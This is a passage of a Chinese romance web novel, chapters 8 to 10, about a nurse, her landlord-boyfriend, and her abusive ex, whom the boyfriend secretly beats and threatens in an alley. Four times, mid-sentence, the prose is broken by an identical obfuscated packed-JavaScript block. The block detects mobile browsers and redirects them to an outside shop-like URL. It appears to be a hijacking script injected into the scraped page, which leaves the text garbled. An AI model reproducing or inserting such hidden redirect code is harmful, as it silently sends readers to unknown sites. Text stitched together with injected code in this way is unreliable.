他盯着涂夏的眼睛看了几秒,有些无奈,关上冰箱,转身打开橱柜,把燃气阀门打开。 涂夏盯着他的动作,问:“你要做饭吗?” “嗯。”赵聿明又走到冰箱前,他翻看着冷藏区的蔬菜,问:“想吃什么?” 涂夏愣了愣,说:“你看着做。” “好。” 半小时后,涂夏坐在餐桌前,看着色香味俱全的三菜一汤,疯狂地吞咽口水。 赵聿明把盛好的米饭递给她,涂夏伸手去接,他的手却向后撤了一下。 她猛得皱眉,抬头看向赵聿明,只见他表情严肃,眼睛始终盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781360|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的手腕。 赵聿明放下饭碗,问:“手怎么了?” 涂夏犹豫了两秒,低下头,探着上半身伸手去拿筷子,她淡淡地说:“没事儿,就是不小心扭到了,过几天就好了。” “你在说谎。”赵聿明冷着脸,声音也没什么温度,跟半小时前的他简直判若两人。 涂夏放下筷子,仰头看他:“我说什么慌啊?就是上班的时候不小心扭到了,干我们这行的,磕了扭了的不很正常?” 她声音越大,相应的就越心虚,赵聿明当了很多年的老师,观察学生的微反应,是他弄清事实真相的办法之一。 他在涂夏面前的椅子上坐下,胳膊环抱在胸前,指尖轻轻敲击着上臂,就这么安静地看着涂夏。 涂夏低着头,自顾自地吃着饭。 良久过后,赵聿明缓缓开口:“我知道是扭伤,但我想弄清楚是怎么扭伤的,是自己工作时不小心弄的,还是跟人发生了争执在拉扯中弄的。” 涂夏握筷子的手顿住,心想这人别是主修物理,顺带着学了心理,毕业拿了双学位证书。 她轻声说:“不小心。” “好,我就当你是不小心。”赵聿明眼底闪过一丝失望,心里疑惑涂夏究竟是不想麻烦自己,还是不信任自己。 他站起身,往卫生间走,涂夏直起身,扭头问他:“你去哪儿?” 赵聿明脚步不停,只留下两个字“修灯”。 涂夏“哦”了一声,没有选择跟上去,而是看着他的背影消失在餐厅拐角。她心里有些烦躁,明明是不想让他担心,搞了半天还是生气了,男人就是小气,赵聿明就是小心眼儿。 他修好灯,从卫生间出来,走到餐厅门口,用眼神示意涂夏跟他走。 涂夏跟了上去,两个人在沙发上坐下,中间隔了很远的距离,赵聿明看了眼她的手腕,认真地问:“我们是什么关系?” 涂夏被问的有些发懵:“男女朋友啊。” “那你为什么还要瞒着我?”赵聿明的眼睛紧盯着她:“既然我们是男女朋友关系,你就不该什么事都瞒着我,你的手腕受了伤,我却不知道原因,你是觉得我没有知情权?还是觉得我不值得你信任?” 他说这段话时,语气严肃,态度坚决。 涂夏愣了很久才开口:“我只是不想你跟着担心。” 赵聿明看着她委屈的样子,到底是心软了。起身走上前,握住她的手,声音平缓:“报喜不报忧不是好习惯。” “嗯。”涂夏点头。 “可以跟我说原因了吗?” 涂夏叹了口气,把事情原委一五一十的跟他讲清楚,她保证道:“我真的是回去取东西,谁知道那狗东西在背后埋伏我,还有就是,你真的要放心,我不吃回头草,那种人渣我恨不得把他给物理阉割了。” 赵聿明听到这句“物理阉割”,实在没忍住笑了两声,涂夏见他笑了,谄媚的攀上他的肩膀,说:“别生气了,我以后什么都告诉你,不管是工作还是生活,都跟你分享,但你也要分享给我,我们相互了解。” “嗯。”赵聿明问:“以后打算怎么办?” 涂夏愣了两秒:“我东西都搬完了,而且也联系好了新租客,以后就不回去了。” “万一他还来堵你呢?” 涂夏松开手,坐直身体,一本正经地说:“再来我就踹他命根子,让他当太监。” 8. 第 8 章 赵聿明检查完她的手腕,依旧不放心,提出去医院拍个片子检查一下。 涂夏摇着头说:“不用,她的手就是在拉扯中扭到的,也没受过什么外力碰撞,折不了。再说了我就是骨科护士,你这不是在质疑我的专业能力嘛?修电你在行,修人我在行。” 闹了这么一出,饭菜早凉了,涂夏没吃饱,赵聿明压根没动筷子,只好重新加热一遍。 吃过饭,赵聿明坐在沙发上削苹果,涂夏躺在一边追剧,不像是刚交往没多久的小情侣,倒像是结婚后的夫妻俩。 赵聿明把苹果递给她,说:“一天一个苹果,医生远离我。” 涂夏笑了笑:“我一天就算是吃八百个,医生也远离不了我。” 一周有五天她都要往医院跑,要是赶上调班,连上七八天都不是问题,在医院上班唯一的好处是,感冒发烧可以直接给自己扎一针。 要是有什么突发情况,身边全是医生护士,阎王爷想收你的命,还要先跟这群人抗衡一番。 赵聿明看着她笑,脸上有些忧愁,犹豫许久还是开了口:“以后还是要注意安全,虽然搬了家,但他知道你在医院上班,每天蹲守着,总有天会碰上。” 涂夏皱了皱眉:“医院每天都会发生医闹,所以保安是二十四小时待命的,再碰上我就往人多的地方走,他总不能在大庭广众之下对我做些什么。” “万一他手上有刀呢?万一他是在医院外堵你呢,我们不能去猜测这些坏人的想法。” 坏人作恶没有固定方式,他不会给你提前预判的机会,逃脱了却不加强防范,这是心存侥幸。 永远不要拿命去赌一个人的善恶。 赵聿明语气严肃,涂夏觉得他是在批评自己的解决方式,心里也有些生气。 她站起来,面色不悦,质问道:“那你要我怎么办?我的解决办法就是揍,对待这种烂人还要跟他平声静气的讲道理吗?再说了挨欺负的人是我,我反抗有错吗?” 赵聿明仰头看她:“我没说你有错。” 涂夏问:“那你凶我干什么?” 他是觉得男女力量悬殊太大,涂夏嘴上争强斗狠,要真碰上了,指不定伤成什么样。 这次是手腕,下次呢? 他不敢赌。 赵聿明拉着涂夏坐下,严肃的表情也收敛了很多,他轻声哄着:“我知道被欺负的是你,但他是男的,他无论是在体型上还是在力量上,都比你要强的多,这是喝醉酒意识不清楚让你有了可乘之机,下次他清醒着,手上刚好拎了把刀,你能怎么揍他?空手接白刃吗?。” 涂夏瞪他:“你才空手接白刃。” 赵聿明笑了一下:“好好好,我接。” 接下来的半个小时里,赵聿明老师身份上线,郑重其事地给她开展了一堂安全教育课。 遇到坏人该如何应对,如何求助,如何脱身,总之,涂夏听完一脸的生无可恋。 赵聿明一脸认真的说:“最好是报个武术班,不仅能强身健体,还能抵抗外界危险。你对什么感兴趣,跆拳道还是泰拳?” 涂夏扯着嘴角笑了笑:“时间不早了,你先回家休息吧。” 送走赵聿明后,涂夏满身轻松,虽然他的建议不错,但她建议他别建议。 没想到毕业这么多年,还有机会听老师讲课,她仿佛回到了大学晚自习,导员捧着保温杯,慢悠悠地走进教室,让班长分发安全通知,然后应付一般地讲两句,匆匆结束班会。 但赵聿明跟她大学时的导员不一样,他会从不同的角度去剖析这件事,甚至引经据典,从凶手的心理出发,到为什么做这件事,再到这件事产生的后果和影响。 涂夏全程发懵,她的注意力压根就不在赵聿明口中所讲的案件上,而是好奇他的记忆力为什么这么好。 他的思维方式真的和普通人不一样。 夜里,涂夏洗完澡吹了头发,跟赵聿明道过晚安,转而打开和孟宛云的聊天框,诉说着今天的事。 涂夏:【谈恋爱别找老师。】 孟宛云:【他是不是特爱教育人?】 涂夏:【倒也不是,就是喜欢跟我讲大道理,有种毕业多年,又回到了校园,重新拿起书本奋发图强的感觉。】 孟宛云回了个爆笑表情包。 涂夏:【心累。】 孟宛云:【他这是职业病,你别放心上。】 涂夏:【我要是跟他结了婚,生了孩子,我孩子得活的多憋屈啊,爸是老师,妈是护士,小孩儿最怕的俩人,让我崽都碰上了。】 孟宛云:【这多好啊,你可以毫不费力的拥有一只乖崽。】 涂夏:【孩子:天崩开局。】 俩人又闲聊了点别的,最后约着明天下班去酒馆小酌,涂夏想着后天休息,更是扬言要不醉不归。 赴约那天,涂夏特意回了趟家,把短袖换成了长裙,吊带V领,裙摆开叉到了大腿,走起路来摇曳生姿,她皮肤白,个高腰细,穿什么都好看。 卷发散在肩上,遮住一片风光。 涂夏不喜欢用条条框框拘束自己,她认为没有哪条法律规定,说人要一成不变的活着。可以可爱,也可以性感。 孟宛云搂着她的腰,往KTV里走,进了包厢,点完酒水,俩人就捧着麦对唱。 一曲结束,涂夏又忍不住抱怨:“你说他是不是当老师上瘾啊?这么喜欢教育人?” 孟宛云摇头:“你当护士上瘾吗?” 涂夏喝了酒,有些大舌头:“上个屁瘾,我恨不得立马辞职,这破工作,谁爱干谁干!” “人家是关心你。”孟宛云说。 涂夏往嘴里塞了颗葡萄,一边嚼一边说:“哪有他那么关心啊?只说不做,担心我的安危就主动提出上下班接送我啊?我被林炜那个混蛋欺负,他给我讲安全知识,我需要的是安全知识吗?我需要的是他去把林炜揍一顿给我出气。” 刚上班那阵儿,遇见了很多烂糟事,她只要心情不好,就约上孟宛云来KTV开个包房,一边唱一边骂,反正这里隔音好,也不用担心扰民被投诉。 她骂完,举起酒瓶仰头往嘴里灌,孟宛云被吓了一跳,赶紧给她夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781361|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来:“你这干嘛呢,喝酒还是发泄情绪啊?少喝点,我扛不动你。” 涂夏身上被洒了酒,头发也粘在皮肤上,特别难受,她伸出手,胡乱地往脖子上蹭了蹭:“反正明天不上班,我想喝多少喝多少。” 典型的人菜瘾大。 从KTV出来已经是半夜,孟宛云叫了代驾打算先把涂夏送回家。 涂夏攀着她的脖子,哼哼唧唧地说自己难受。孟宛云把她塞进车里,又从后备箱拿了条毯子给她盖上,恨铁不成钢地说:“每次都不长记性,难受活该。” 车行驶到涂夏小区门口时,被保安拦住了,意思是孟宛云的车没在小区登记过,所以就不能让进。 孟宛云说:“你们小区业主喝醉了,我送她回家,这么远的道儿,你让我扛回去啊?” 保安犹豫了许久,最后跟领导反映了一遍,说:“我得确认一下业主信息。” 孟宛云刚说完“行”,涂夏猛的坐起来,脑袋哐当一声磕到了车顶上,其他人被吓了一跳,涂夏没觉得疼,把半边身体悬在车窗外开始吐。 孟宛云笑了,还知道吐车里洗车麻烦呢。 核对完信息,保安放行,孟宛云说:“辛苦你们小区保洁打扫一下。” 车进了小区里,孟宛云翻着聊天记录,看她住哪一栋,折腾了一番功夫才把她送上楼。 她握着涂夏的手,输入指纹。 打开门,孟宛云长舒一口气:“涂夏,姑奶奶要再跟你出来喝酒,我就是你孙子。” 涂夏点点头:“嗯,孙子。” 孟宛云气的牙痒痒:“嘿,占老娘便宜。” “你住哪屋啊?”孟宛云扛着她往里面走,完全没注意到客厅还坐着一个人。 赵聿明看着喝醉酒的涂夏,有些生气,又有些担心,知道她明天休班,但不知道她今天没回爸妈家,而是和朋友去约着喝酒。 “她住左手边第一间。”赵聿明说。 孟宛云被吓了一跳,她转过身,问:“你谁啊?” “涂夏男朋友。” “哦,你就是赵老师啊?” 赵聿明皱了皱眉,心想涂夏平常都跟朋友聊什么,该不会今天是赵老师,明天是房东先生。 他走上前,把涂夏接了过来。 “我来照顾就行。” 孟宛云眼里带着敌意,上下打量他一眼,说:“那不行,虽然你是夏夏男朋友,但孤男寡女的,没结婚就共处一室不合适,传出去让人说闲话。” 赵聿明完全不管她在说什么,将涂夏打横抱起:“你不往外传,就没人知道。” 孟宛云哼笑一声:“您这嘴,当老师真可惜,当相声演员多好啊。” 赵聿明把涂夏放到床上,又盖上被子,开始送客,孟宛云知道这是他俩的矛盾,不好掺和,叮嘱了几句,就下楼了。 他去卫生间接了盆温水,又照着网上的教程给涂夏卸了妆。 涂夏睁开眼,盯着他看,以为自己是做梦,伸手戳了戳赵聿明的脸:“嘿,软的。” 赵聿明被她的反应气笑了。 9. 第 9 章 赵聿明起身倒水,涂夏紧抓着他的手腕不放,盯着他望了一会儿,眼泪就啪嗒啪嗒地往下掉,她哽咽地说:“赵聿明,林炜那个王八蛋欺负我就算了,你也欺负我。” “好好好,我欺负你,是我不对。”赵聿明知道现在跟一个醉鬼说什么都白搭,只能顺着她的话来。 涂夏来了劲儿,从床上爬起来,指着他开始骂:“你也不是什么好东西,只会讲大道理教育我,什么狗屁安全教育,我又不是你学生。” 赵聿明站在床边,双手张开,防止她摔倒掉下来,他脾气不是一般的好:“好,我不是什么好东西,我是王八蛋,你先坐下。” “不要!”涂夏吼了一声:“你又开始命令我,我才不坐下,我偏要站着!” “好,站着。”赵聿明刚说完,涂夏扑通一声坐下:“我才不站着,我就不听你的。” 赵聿明没忍住笑了一下,正好被涂夏看到,立马不乐意了,站起来跳到他身上,扯着他的头发,哭着说:“你笑话我!” 赵聿明托着她的腰,说:“我没有。” “你就有!” 他们平常除了牵手,再没别的肢体接触。 涂夏的肩带滑落,露出大片旖旎风光,赵聿明急忙抬起头,仰望着她。 涂夏满不在乎地伸手扯起肩带,还把头发向后撩着,她问:“我身材好不好?” 赵聿明有些沉默,他该回答什么? “快点说!”涂夏开始耍赖:“你瞧不起人是不是?孟宛云都说我身材超带感,还说她一个女人都移不开眼呢。” “好。”赵聿明深吸一口气,强装淡定,说出了自己活了三十年都没说过的话,他说:“你身材特别好。” 涂夏捧着他的脸,问:“那你喜欢吗?” 赵聿明沉默了。 “快点回答,喜欢吗?” “喜欢……” 他盯着涂夏亮闪闪的眼睛,唇角勾起笑容,心想她怎么这么可爱。 刚夸完,涂夏又开始翻账本,她从赵聿明身上挣扎着蹦下来,像只炸了毛的小猫:“有你这样的吗?我爸妈从小就教我,挨了欺负就揍回去,出了事儿他们担着,你就只会教我不要还手,难不成你想看着我挨打吗?” 赵聿明有些无奈,他没说不能还手,是说在保证自身安全的情况下还手,怎么还能断章取义呢? 他抽了张纸巾,擦着涂夏脸上的鼻涕和眼泪,柔声道:“可以还手,但前提是你要保护好自己的安全。” 涂夏只觉得自己委屈,哪还听得进去道理,她推开赵聿明的手,哭着说:“你又给我上课,我都说了我不是你学生!谁要听大道理啊,我又不是三岁小孩儿。” 得,又绕回来了。 赵聿明看着她撒娇耍赖的样子,心想不如三岁小孩儿呢,顶多两岁半。 涂夏折腾到大半夜才消停,哭哭唧唧地耍着赖皮,一会儿让他干这,一会儿让他做那。 绕是赵聿明这么有耐心的人,也被磨的够呛。 第二天一早,涂夏是被疼醒的,她揉着脑袋,又看了眼手腕,身上满身酒气,熏的她想吐,也忘了昨晚喝了多久,怎么回来的。 她掀开被子坐起来,觉得自己浑身哪哪儿都疼。爬下床,在衣柜里拿了套干净衣服,抬脚进了卫生间洗澡。 赵聿明昨晚留了下来,将就着在客厅沙发上睡了半宿,听到她叮铃咣当的动静,也猜到这是醒了,等会儿该到厨房觅食了。 他站起身,去了主卧洗漱。 涂夏洗完澡从卫生间出来,头上还搭着毛巾,水珠顺着发丝啪嗒啪嗒地往下滴,不一会儿肩膀就湿了一片。 “你怎么在这儿?”涂夏惊讶地问。 赵聿明看了她一眼,自顾自地把做好的早餐放下,他说:“这是我家。” 涂夏皱了皱眉:“可你租给我了呀?” 赵聿明:“我只租给了你客卧。” 涂夏懵了,原本觉得他把这套三室租给自己是他亏了,现在发现亏的是自己。她只恨当时没立个租房合同,现在是有口难言,还真就是接二连三的在男人手里栽坑。 “去吹头发。”赵聿明在餐桌前坐下,“吹完头发才有资格吃我做的早饭。” “不吹。”涂夏摇了摇头,说:“我头疼。” 赵聿明:“知道头疼还喝那么多酒。” 涂夏揉着脑袋,快步走到他面前坐下,捧起水杯,仰头一饮而尽。 “为什么喝酒?心情不好?” “我心情很好。” 赵聿明听到这句“心情好”,直接发出一声哼笑,也不知道昨天晚上哭着赖着,说他不是好东西,骂他是王八蛋,后来又嫌这两个词杀伤力太低,想了半天骂了句道貌岸然的衣冠禽兽。 她昨晚哭得狠,现在眼睛有些肿。 涂夏只觉得是喝酒导致的,压根不记得自己昨晚脑袋磕到了车顶,也不记得自己缠着他发的那些酒疯。 “我向你道歉。”赵聿明说。 “嗯?”涂夏愣了一下,“什么?” 赵聿明把早餐推到她面前,轻声说:“是我没有考虑到你的感受,是我的错,我道歉。” 涂夏伸手拿了片面包,嚼了两口,说:“那你光说道歉有什么用,说对不起啊。” 赵聿明愣了一下,笑着说:“对不起。” “嬉皮笑脸的,没诚意。” 他昨晚靠在沙发上想了很久,他思考着怎样才能快速且直接的解决掉这件事,最后得到答案的那刻,自己都笑了。 挨欺负了就揍回去呗。 赵聿明站起身,走到她身边,拿起搭在椅背上的毛巾,轻轻地给她擦着头发。 涂夏被他突如其来的动作吓了一跳,身体不由自主的紧绷起来,他的手很大,动作也很温柔,身上散发着淡淡的檀木香气。他不知道的是,在自己看不见的地方,有人悄悄的羞红了脸。 “从明天开始,我接送你上下班。” “不用!”涂夏猛的转过头,脑袋刚好磕在他的肚子上,赵聿明闷哼一声,她也捂着脑袋说疼。 赵聿明顺着她的头发,说:“别动。” 涂夏把头转回来,小口地抿着牛奶,她轻声说:“真不用,我都搬家了,林炜找不到这里,而且我每周上下班时间都有变化,有时候下午七点下班,有时候三点下班,你也不可能每天都有空。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781362|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “学校放暑假,我每天都有空。”赵聿明态度不改,他担心林炜伺机报复,压根不可能让涂夏一个人上下班,“等学校开学,我就不接送了。” 涂夏皱着眉没说话。 赵聿明说:“我不是在监视你,也不是想控制你的生活和工作,我只是担心你。” “我知道。”涂夏停顿两秒,再次开口:“等你开学,就结束接送。” “嗯。” * 林炜那天被保安赶出来后,晃晃悠悠地倒在马路边的绿化带里睡着了,最后还是有热心市民路过,报了警。 从警局出来,越想越气,打电话摇了几个狐朋狗友二十四小时轮番蹲守,熬了好几天也没见到涂夏的身影。 烧烤大排档里,林炜坐在折叠桌前,手里拎着瓶啤酒,嚷着嗓子说:“她不是挺厉害的吗?怎么就怂了?有本事跟老子打一架啊!老子找她复合是看得起她!他奶奶的,真他妈晦气。” 朋友劝他:“女的都这样,有了新欢就忘记了旧爱,你不是说她报警抓你的时候,身边跟了个男的?说不定人俩早就好了,就等着你犯了错提分手呢,这样她也减轻了负罪感,你就是没人家会耍心眼儿。” “那天那男的对她嘘寒问暖的,别是真背着我搞上了,揪着我的错处不放,好跟野男人双宿双飞呢。”林炜仰头往嘴里灌着酒,有些顺着他的嘴角流到了脖子上,他打了个酒嗝,说:“是个男人都会犯错误,我又没说不改,她连一次机会都不给我,真以为自己是什么天仙下凡,男人排着队追她啊!” 周围人没说话,嘿嘿地笑着,他们虽然说没见过涂夏的真人,但是见过照片,她长得好看,皮肤又白,两条明晃晃的大长腿特别勾人,都是男人,凭啥林炜这号的,能找到这么漂亮的姑娘处对象。 此时有人起身给林炜递了根烟,眼神上下打量着他,露出贱兮兮的笑:“感情就那回事儿,这一个不乖,咱找下一个,没必要搁她身上耗着,你要真喜欢和前女友搞对象,就往前划拉划拉,总有前任愿意回头找你。” 都是一起玩儿的,谁还不知道谁了,林炜的臭毛病就是喜欢和前任搞场破镜重圆,跪着哭着说自己忘不掉,不知情的人知道了,还以为他是个什么多深情的人一样。 归根到底,还不是想搞那档子事儿,找小姐要花钱,前女友不要钱啊。 林炜哼笑一声,阴着脸说:“跑得了和尚跑不了庙,别让老子在医院里逮着她。” 几个人陪他折腾了好几天,身心俱疲,也不想听这些陈芝麻烂谷子的事儿,一杯接一杯地劝酒。林炜最后实在喝不下了,倒在桌子上睡着了。 见他睡着了,有人往他裤子口袋里掏了一把,把钱包拿出来,喊来服务员结账。 “多大点儿事儿,赖赖唧唧的。”那人叼着烟,伸手往林炜脸上拍了几下,嫌弃地说:“要不是为了能有个卖命干活的,谁愿意搭理你啊,妈的,给老子念叨得耳朵都起茧子了。” 说罢,一群人丢下林炜扬长而去。 在不远处的黑暗中,有一抹修长的身影,他久久地伫立着,眼神晦暗不明,手腕青筋突起,浑身散发着致命般的压迫感,就像一头伺机而动的雄狮。 10. 第 10 章 大排档的老板过来催林炜离开,老板推了推他的胳膊,林炜猛的坐起,胳膊不小心碰翻了酒杯,淡黄色的酒液顺着桌子往下流,溅到他脚上。 林炜抬手抹了把脸,口齿不清地嘟囔了两句,老板听不清他说的什么,皱着眉,几乎是冲着他的耳朵在吼:“兄弟,你朋友都走了,我们要收拾桌子了。” “好!你收拾!”林炜撑着桌子站起来,他脚下不稳,晃晃悠悠地挥着手,说:“你收拾,我回家。” 林炜抬脚往外走,一路上横冲直撞,碰到了不少人,他刚想骂街,抬头却看见比他高壮很多的成年大汉,于是双手合十,嘴里不停地念叨着不好意思。 他走在路上,影子被拉长,直到拐进僻静的小道,身后的人脚步逐渐加快,靠近那刻,有一双手把他拽到墙角。 那里没有路灯,三面都是高墙,四周黑漆漆的一片,压根看不清是谁拽的他。 林炜被摔在地上,剧烈地咳嗽着,他挣扎着跪在地上,嘴上骂着:“他妈的哪个傻叉!不要命了是吧!敢劫老子的道儿。” “林炜是吧。”赵聿明冷着脸,居高临下地看着他,“学不会说话就闭嘴,学不会尊重女性就去死,别整天只会口嗨。” “你他妈谁啊?管老子的事儿,活腻歪了吧。”林炜往地上啐了口唾沫,艰难地爬起来,说话间就要挥起拳头给自己找面子。 赵聿明只稍微一侧身,林炜眼睛看不清,也没收住力,扑通一声,重新摔在地上。 “今天的事儿,你给我记住了,我揍你是因为你手脚不干净,嘴巴不老实。以后长点记性,别做不该做的事,别犯不该犯的错。”赵聿明手腕动作狠,用的全是巧劲儿,只挑别人看不见的地方下手。也伤不到腑脏,顶多是疼几天。 林炜躲不掉,只能捂着脑袋蜷缩着挨打,刚开始还骂了几句,后来知道了越骂挨的揍越多,干脆闭上嘴硬撑着,赵聿明不收手,他怕自己被打死,哆哆嗦嗦地开口求饶。 赵聿明半蹲着,两只手撑在膝盖上,他拍了拍林炜满是虚汗的脸,说:“以后我只要听到一次你的名字,我就来揍你一次,不管刮风下雨,照揍不误。你也别想着喊几个人对付我一个,你有人我有钱,看是你的兄弟忠心,还是我的钱忠心。” “你到底是谁!谁让你来的!”林炜酒劲儿上来了,天不怕地不怕地扯着嗓子喊:“我要报警抓你!你们这是故意伤害!” 空气安静几秒,林炜以为赵聿明是怕了,撑着胳膊就要站起来,没成想刚有动作,就被他踩着后背,压在地上。 赵聿明不屑地笑了笑,说:“故意伤害?谁看到了,你哪来的证据?” 林炜仰着头,脸憋得通红,脖子上的青筋暴起,眼里全是怒气,他大声说:“我身上的伤!” “伤?”赵聿明弯下腰看他,淡淡地说:“你自己喝醉酒不小心摔的,关别人什么事?你在派出所里留了多少案底不用我多说,你要是想多一条污蔑罪,我不拦着你,你可以去。” “你!”林炜红着眼,气得牙根痒痒。 赵聿明冷声道:“以后夹着尾巴做人,别整天做些危害别人,危害社会的事儿,你要是约束不好自己,我可以让你端上铁饭碗,接受几年国家教育。” 他把脚从林炜身上移开,掏出纸巾慢条斯理地擦着手,看着地上的人大口地喘息,最后轻笑一声,转身离去。 林炜趴在地上缓了很久,久到酒醒。 他浑身疼得要命,拿出手机想要拨打报警电话,但一想到刚才那人的警告,又把输好的号码删掉了,只当自己今天点背。 涂夏坐在住院部大厅里等了很久,也没等到赵聿明的到来,信息发了,电话打了,就是没人回复,她急的原地转圈。 头顶时间显示器上的数字跳动到20:43时,赵聿明出现了,他步伐很快,脸上也显露出少有的慌张,眼神环顾四周,最后定在涂夏身上。随后,唇角弯起一末庆幸的笑。 涂夏在见到他的那刻,悬着的心瞬间放下来,她忍着眼泪,朝赵聿明走去,脚下的步子快得像要跑起来。 “对不起,我迟到了。”赵聿明接过她手里的包,声音慌张,满是歉意。 涂夏说:“你没看手机吗?” 赵聿明怔了一下,说:“手机静音了。” 涂夏瞪了他一眼,抬脚往外走,赵聿明快步跟上去。两个人站在车旁,有些僵持:“你要有事就提前说一声,不用非要来接我,我自己打车也是一样回家。” “没有下次了。”赵聿明认真的向她保证,“今天是有突发情况,我以后不会再迟到。” 涂夏抬头看着他:“我没怪你迟到。” 因为是医院,总会碰上认识的医生护士,涂夏不好当场说原因,只能等坐上车,她才控制不住脾气地控诉:“你看看手机,我给你发了多少条信息,打了多少电话,我他妈急的都要报警了!” 赵聿明掏出口袋里的手机,这才发现满屏的新消息通知和未接来电。 “对不起,我错了。”赵聿明轻声说。 对不起谁都会说,涂夏就觉得自己是一拳砸在了棉花上,手疼得不轻,却连个响儿都听不见。 涂夏扭过头,不再去看他:“开车。” 一路上,两个人谁都没说话。涂夏还在气头上,低头玩着切水果,游戏效果音传入赵聿明的耳朵里,后背莫名地出了汗。 本来觉得涂夏开始关心自己了,是件值得开心的事,但一瞧见这情况,他压根就笑不出来。 车停在单元楼门口,涂夏开门下车,赵聿明跟了上去。电梯里,她终于开口:“我回家,你跟着我干什么?” 赵聿明心虚地说:“我也回家。” 涂夏不想跟他扯那么多没用的话,始终保持着沉默,走到家门口的时候,赵聿明拦在她面前,轻声说:“我们要解决的是事,不是解决我这个人。” “我知道。”涂夏推开他,快步走到门口,输入指纹,开门进去,她回过头看了眼赵聿明,说:“你进来,咱俩解决事儿。” 赵聿明抬脚跟了进去,弯腰换鞋时,涂夏把他的拖鞋毫不留情地踢开,双手抱胸,倚靠在玄关柜上,淡淡地说:“别换了,反正等会儿就走了,还换什么呀?” 赵聿明站在门口,也不敢乱动。 “说吧,什么急事需要把手机调静音?” “家里的事。”赵聿明撒了谎。 只这一句话,涂夏就不再问了,因为她不喜欢打听别人家里的事。这是别人的隐私,她无权过问,更无权干涉。 涂夏点点头:“好,我信你。” 赵聿明保证道:“仅此一次。” 涂夏看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781363|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他,思索良久,最后轻声开口:“我不是介意你迟到,我介意的是你临时改变行程却不告诉我,你是觉得自己能够控制好时间,还是觉得接我下班无所谓,可以晚一点,反正我也不会生气。” “都没有。”赵聿明眼睫低垂,声音有些委屈,目光紧紧地停留在她身上。说实话他在以往的恋爱中没有遇到过这种情况,自己此刻除了道歉还是道歉。 涂夏向前走了两步,伸出双手,轻轻地抱住他,脸颊贴在他的胸口,听着耳边强劲急促的心跳,轻声细语地开口:“你还委屈上了,我都快急死了,你知道吗?” 赵聿明悬着的手微微抬起,犹豫过后,还是放了下去。涂夏仰头看他:“赵聿明,你说话啊!哑巴当不了老师。” 他紧张地问:“我要说什么?” “你要跟我保证。” “保证什么?” 涂夏皱着眉,把抱着他的手松开,不悦地问:“保证什么还要我教啊?当然是保证事事报备,保证再也不迟到一小时以上。” “好。”赵聿明笑了笑,说:“我保证,保证以后向涂夏女士事事报备,保证再也不迟到。” 涂夏纠正他:“可以迟到,但不能很久。” 赵聿明说:“迟到不好。” “可以迟到。”涂夏蹙眉说:“我做不到永远不迟到,所以我不能要求你也永远不迟到。” 她不能搬起石头砸自己的脚。 更何况,自己都做不到的事情,干嘛要求别人做到,这不是耍无赖嘛。 事儿说开了,就翻篇儿。 涂夏重新把拖鞋拿给他,脸上挂着不好意思的笑,说:“去做饭吧。” 赵聿明现在不仅兼职司机,还兼职做饭大厨,每天勤勤恳恳,任劳任怨的当着家庭煮夫。 涂夏心想,怪不得男人乐意娶媳妇,感情有人伺候就是爽,她还半开玩笑地跟赵聿明说自己给不起聘礼,没办法招他当上门女婿。 从医院回来已经晚上九点多了,刚才又在门口扯了一通旁的,硬是把晚饭吃成了宵夜。 吃过饭,赵聿明把餐具先简单用水冲了一遍,又放进洗碗机里彻底的清洗消毒。 涂夏看了眼时间,已经快十一点了,她回自己卧室里抱了套床品,对半蹲在厨房里的赵聿明说:“今天太晚了,你就别回家了,干脆留下在主卧睡一宿,我去把床给你铺了。” 赵聿明回过头,佯装为难,思考良久后,犹豫不决地说:“我来吧。” “没事儿,我来就行。”涂夏转身去了主卧,两米多宽的床,她铺的有些吃力,要来回转好几圈才能把床单铺平整。 赵聿明从厨房走过来,看见她半边身体几乎都要趴在床上,小脸也跟着身体使劲儿。 他轻声笑了笑,说:“交给我吧。” 涂夏伸出手把被子递了出去,低头却瞥见他手背关节处的擦伤,关心地问:“你手怎么了?” 